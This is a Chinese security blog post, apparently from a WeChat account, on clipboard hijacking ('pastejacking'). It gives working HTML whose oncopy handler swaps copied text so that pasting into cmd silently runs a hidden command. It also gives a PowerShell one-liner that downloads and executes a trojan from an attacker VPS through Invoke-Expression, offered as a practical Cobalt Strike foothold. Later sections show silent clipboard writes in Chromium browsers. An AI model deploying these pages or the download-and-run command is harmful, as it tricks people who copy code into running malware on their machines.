相信大家肯定在csdn看过不少文章，并且有些代码可能要复制下来，但是有个小细节，就是每次复制代码的时候，总是会多出两行，但我们并没有在原文中看到，如下
找了一下资料，发现是oncopy事件
那我们可以干啥呢，自己建议搭建一个页面
复制完成粘贴到cmd中，可以看下效果
为啥会弹出计算器呢？我们看源码
我们使用oncopy事件写一个小脚本
<html><head><title>TEST</title><meta charset="utf-8"></head><body><h2>TESTZAC:</h2><pre id="code">whoami</pre><script>code.oncopy = function(e) {var text = code.textContentvar s = 'calc|cls' +'n' + textnavigator.clipboard.writeText(s)}</script></body></html>
所以实际复制的内容是
calc|cls
whoami
可以复制到微信聊天框验证下
而换行符就相当于自动执行了，使用cls清理当前cmd的界面，所以这会让目标以为复制了正常的whoami指令，但实际我们偷偷的执行了calc，那么实战呢？我们可以把calc指令换成cs的指令
我们完全可以用以下命令上线（手里目前没vps没复现，理论存在，可自行测试）
powershell set-alias -name test -value Invoke-Expression;test(New-Object Net.WebClient).DownloadString('http://vpsip/木马地址')|clswhoami
不过这个思路早在6月份就发星球里面了
但是为什么今天我又把这个玩意拉出来炒冷饭呢，因为最近又发现一个好玩的东西，正常情况下，一个站长想要访问到用户的剪切板，是需要1click的，也就是点击下图的copy text，才可以将Zac复制到剪切板当中（方法1）
<p>Zac</p><button id="btn-copy">copy text</button><script>const copyBtn = document.querySelector('#btn-copy');copyBtn.addEventListener('click',async function () {try {await navigator.clipboard.writeText(`${document.querySelector('p').textContent}!`);} catch (e) {console.error('Failed to copy: ', e);}},false);</script>
但是最近网上冲浪发现这个限制被删除了，本身我们使用原来的函数navigator.clipboard.writeText（），是会进行警告的，如下图（方法2））
但是在新规范发布之后，我们可以惊奇的发现，当访问站点时无感写入剪切板了（经过测试，chrome和edge使用chromium内核的可以，但firefox和我小米自带的浏览器不行，可以使用谷歌访问webplatform.news这个测试站点）
<html lang="zh"><head><metacharset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible"content="ie=edge"><title></title></head><body><div>Zactest</div><script>try {let type = 'text/plain';let blob = new Blob(['Zactest',],{ type });let item = new ClipboardItem({[type]: blob });navigator.clipboard.write([item]);} catch (err) {}</script></body></html>
新规范原地址https://w3c.github.io/clipboard-apis/#dom-clipboard-writetext
可以看到是在6.17号发的这个commit
不过这个我没有想出来什么比较奇特的利用思路，比如写入剪切板引个流，或者当个娱乐圈黑客弄个hack by xxxx
，当然如果有骚操作欢迎找我一起讨论
宣传页
ZAC安全
本人微信：zacaq999
文章内容如有任何错误或者对不上号的，可以加我微信，感谢各位大佬们的指点
安全宝典欢迎各位大佬以投稿方式免费进入！
原文始发于微信公众号（ZAC安全）：有趣的剪切板
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论